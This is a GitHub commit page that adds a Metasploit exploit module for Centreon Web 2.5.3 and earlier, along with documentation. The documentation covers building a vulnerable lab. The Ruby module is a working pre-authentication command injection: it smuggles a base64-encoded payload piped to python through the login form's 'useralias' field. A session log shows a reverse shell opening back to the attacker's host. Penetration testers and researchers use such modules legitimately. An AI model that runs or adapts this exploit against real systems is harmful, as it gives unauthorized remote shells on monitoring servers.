Skip to content

Commit 4720d77

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#6965, centreon useralias exec
2 parents f7562c0 + c21971c commit 4720d77

File tree

2 files changed

+300
-0
lines changed

2 files changed

+300
-0
lines changed

‎documentation/modules/exploit/linux/http/centreon_useralias_exec.md

Lines changed: 211 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,211 @@
1+
## Vulnerable Application
2+
3+
1. [Exploit-db](https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz)
4+
2. Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
5+
6+
### Creating A Testing Environment
7+
8+
Creating a testing environment for this application contained many steps, so I figured I would document the process here.
9+
10+
1. Create a fresh install of Ubuntu 16.04. I used a LAMP install. My user was `centreon`
11+
2. Install php5.6 [askubuntu](http://askubuntu.com/questions/756181/installing-php-5-6-on-xenial-16-04)
12+
```
13+
sudo apt purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
14+
sudo add-apt-repository ppa:ondrej/php
15+
sudo apt-get install php5.6
16+
sudo apt-get install php5.6-mbstring php5.6-mcrypt php5.6-mysql php5.6-xml php5.6-gd php5.6-ldap php5.6-sqlite3
17+
sudo apt-get install build-essential cmake librrd-dev libqt4-dev libqt4-sql-mysql libgnutls28-dev python-minimal
18+
sudo apt-get install tofrodos bsd-mailx lsb-release mysql-server libmysqlclient-dev apache2 php-pear rrdtool librrds-perl libconfig-inifiles-perl libcrypt-des-perl libdigest-hmac-perl libgd-gd2-perl snmp snmpd libnet-snmp-perl libsnmp-perl
19+
select OK
20+
select No Configuration
21+
sudo apt-get install snmp-mibs-downloader
22+
```
23+
3. Enable php5.6 in Apache with `a2enmod`, disable php7.0 with `a2dismod`
24+
```
25+
a2enmod php5.6
26+
a2dismod php7.0
27+
```
28+
4. Restart apache with `sudo apache2ctl restart`
29+
5. Install [Nagios Plugins](https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/quickstart-ubuntu.html) starting at step 6. The plugins link is broken, utilize [nagios-plugins-2.1.1.tar.gz](http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz) instead
30+
```
31+
wget http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz
32+
tar xvf nagios-plugins-2.1.1.tar.gz
33+
cd nagios-plugins-2.1.1/
34+
./configure
35+
make
36+
sudo make install
37+
```
38+
5.1 If during make, you get an sslv3 method not found error (https://support.nagios.com/forum/viewtopic.php?f=35&t=36601&p=168235&hilit=SSLv3#p168235)
39+
```
40+
--- plugins/sslutils.c.orig 2016-01-14 20:02:06.419867000 +0100
41+
+++ plugins/sslutils.c 2016-01-14 20:01:36.091492000 +0100
42+
@@ -70,8 +70,13 @@
43+
#endif
44+
break;
45+
case 3: /* SSLv3 protocol */
46+
+#if defined(OPENSSL_NO_SSL3)
47+
+ printf(("%s\n", _("CRITICAL - SSL protocol version 3 is not supported by your SSL library.")));
48+
+ return STATE_CRITICAL;
49+
+#else
50+
method = SSLv3_client_method();
51+
ssl_options = SSL_OP_NO_SSLv2 | SSL_OP_NO_TLSv1;
52+
+#endif
53+
break;
54+
default: /* Unsupported */
55+
printf("%s\n", _("CRITICAL - Unsupported SSL protocol version."));
56+
```
57+
6. Install [Centreon clib](https://documentation.centreon.com/docs/centreon-clib/en/latest/installation/index.html)
58+
```
59+
cd ~
60+
git clone https://github.com/centreon/centreon-clib
61+
cd centreon-clib/build
62+
cmake .
63+
make
64+
sudo make install
65+
```
66+
7. Install [Centreon Broker](https://documentation.centreon.com/docs/centreon-broker/en/2.11/installation/index.html)
67+
```
68+
cd ~
69+
git clone https://github.com/centreon/centreon-broker
70+
cd centreon-broker/build/
71+
cmake -DWITH_STARTUP_DIR=/etc/init.d -DWITH_STARTUP_SCRIPT=sysv .
72+
make
73+
sudo make install
74+
```
75+
8. Install [Centreon Engine](https://documentation.centreon.com/docs/centreon-engine/en/latest/installation/index.html)
76+
```
77+
cd ~
78+
git clone https://github.com/centreon/centreon-engine
79+
cd centreon-engine/build/
80+
cmake -DWITH_STARTUP_DIR=/etc/init.d -DWITH_STARTUP_SCRIPT=sysv .
81+
make
82+
sudo make install
83+
```
84+
9. Now install [Centreon Web](https://documentation.centreon.com/docs/centreon/en/2.5.x/installation/from_sources.html) but only the command line portion.
85+
```
86+
sudo mkdir /var/log/centreon-engine
87+
cd ~
88+
sudo pear install XML_RPC-1.4.5
89+
(may need to install php-xml)
90+
wget https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz
91+
tar vxf bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz
92+
cd centreon-2.5.3
93+
sudo ./install.sh -i
94+
<enter>
95+
q
96+
y
97+
y
98+
y
99+
y
100+
y
101+
<enter>
102+
y
103+
<enter>
104+
y
105+
<enter>
106+
y
107+
<enter>
108+
y
109+
<enter>
110+
y
111+
<enter>
112+
<enter>
113+
<enter>
114+
centreon
115+
<enter>
116+
/var/log/centreon-engine
117+
/home/centreon/nagios-plugins-2.1.1/plugins
118+
<enter>
119+
/etc/init.d/centengine
120+
/usr/local/bin/centengine
121+
/usr/local/etc/
122+
/usr/local/etc/
123+
/etc/init.d/centengine
124+
<enter>
125+
y
126+
y
127+
y
128+
<enter>
129+
y
130+
<enter>
131+
<enter>
132+
y
133+
y
134+
<enter>
135+
y
136+
y
137+
<enter>
138+
y
139+
<enter>
140+
<enter>
141+
y
142+
y
143+
```
144+
10. Fix apache config
145+
```
146+
sudo cp /etc/apache2/conf.d/centreon.conf /etc/apache2/conf-available/
147+
sudo sed -i 's/Order allow,deny/Require all granted/' /etc/apache2/conf-available/centreon.conf
148+
sudo sed -i 's/allow from all//' /etc/apache2/conf-available/centreon.conf
149+
sudo a2enconf centreon
150+
sudo service apache2 reload
151+
```
152+
11. Configure via website. Browse to <ip>/centreon
153+
```
154+
next
155+
next
156+
select centreon-engine
157+
/usr/local/lib/centreon-engine
158+
/usr/local/bin/centenginestats
159+
/usr/local/lib/centreon-engine
160+
/usr/local/lib/centreon-engine
161+
/usr/local/lib/centreon-engine
162+
next
163+
select centreon-broker
164+
/usr/local/lib/centreon-broker
165+
/usr/local/lib/cbmod.so
166+
/usr/local/lib/centreon-broker
167+
/usr/local/lib/centreon-broker
168+
/usr/local/lib/centreon-broker
169+
next
170+
Pick whatever details about your user you want, next
171+
Fill in mysql Root password, next
172+
next
173+
next
174+
finish
175+
```
176+
## Verification Steps
177+
178+
1. Install the application
179+
2. Start msfconsole
180+
3. Do: `use exploit/linux/http/centreon_useralias_exec`
181+
4. Do: `set payload`
182+
5. Do: `set rhost`
183+
6. Do: `check`
184+
7. Do: ```run```
185+
8. You should get a shell.
186+
187+
## Scenarios
188+
189+
Just a standard run.
190+
191+
msf > use exploit/linux/http/centreon_useralias_exec
192+
msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
193+
payload => cmd/unix/reverse_python
194+
msf exploit(centreon_useralias_exec) > set lhost 192.168.2.229
195+
lhost => 192.168.2.229
196+
msf exploit(centreon_useralias_exec) > set rhost 192.168.2.85
197+
rhost => 192.168.2.85
198+
msf exploit(centreon_useralias_exec) > set verbose true
199+
verbose => true
200+
msf exploit(centreon_useralias_exec) > check
201+
[+] Version Detected: 2.5.3
202+
[*] 192.168.2.85:80 The target appears to be vulnerable.
203+
msf exploit(centreon_useralias_exec) > exploit
204+
[*] Started reverse TCP handler on 192.168.2.229:4444
205+
[*] Sending malicious login
206+
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.85:36792) at 2016-06-11 20:44:57 -0400
207+
whoami
208+
www-data
209+
uname -a
210+
Linux centreon 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
211+
```

‎modules/exploits/linux/http/centreon_useralias_exec.rb

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
##
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
Rank = ExcellentRanking
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Centreon Web Useralias Command Execution',
17+
'Description' => %q(
18+
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
19+
errors. This functionality can be abused for arbitrary code
20+
execution, and can be triggered via the login screen prior to
21+
authentication.
22+
),
23+
'Author' =>
24+
[
25+
'h00die <[email protected]>', # module
26+
'Nicolas CHATELAIN <[email protected]>' # discovery
27+
],
28+
'References' =>
29+
[
30+
[ 'EDB', '39501' ]
31+
],
32+
'License' => MSF_LICENSE,
33+
'Platform' => ['python'],
34+
'Privileged' => false,
35+
'Arch' => ARCH_PYTHON,
36+
'Targets' =>
37+
[
38+
[ 'Automatic Target', {}]
39+
],
40+
'DefaultTarget' => 0,
41+
'DisclosureDate' => 'Feb 26 2016'
42+
)
43+
)
44+
45+
register_options(
46+
[
47+
Opt::RPORT(80),
48+
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
49+
], self.class
50+
)
51+
end
52+
53+
def check
54+
begin
55+
res = send_request_cgi(
56+
'uri' => normalize_uri(target_uri.path, 'index.php'),
57+
'method' => 'GET'
58+
)
59+
/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
60+
61+
if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
62+
vprint_good("Version Detected: #{version}")
63+
Exploit::CheckCode::Appears
64+
else
65+
Exploit::CheckCode::Safe
66+
end
67+
rescue ::Rex::ConnectionError
68+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
69+
end
70+
end
71+
72+
def exploit
73+
begin
74+
vprint_status('Sending malicious login')
75+
send_request_cgi(
76+
'uri' => normalize_uri(target_uri.path, 'index.php'),
77+
'method' => 'POST',
78+
'vars_post' =>
79+
{
80+
'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
81+
'password' => Rex::Text.rand_text_alpha(5)
82+
}
83+
)
84+
85+
rescue ::Rex::ConnectionError
86+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
87+
end
88+
end
89+
end

0 commit comments

Comments
 (0)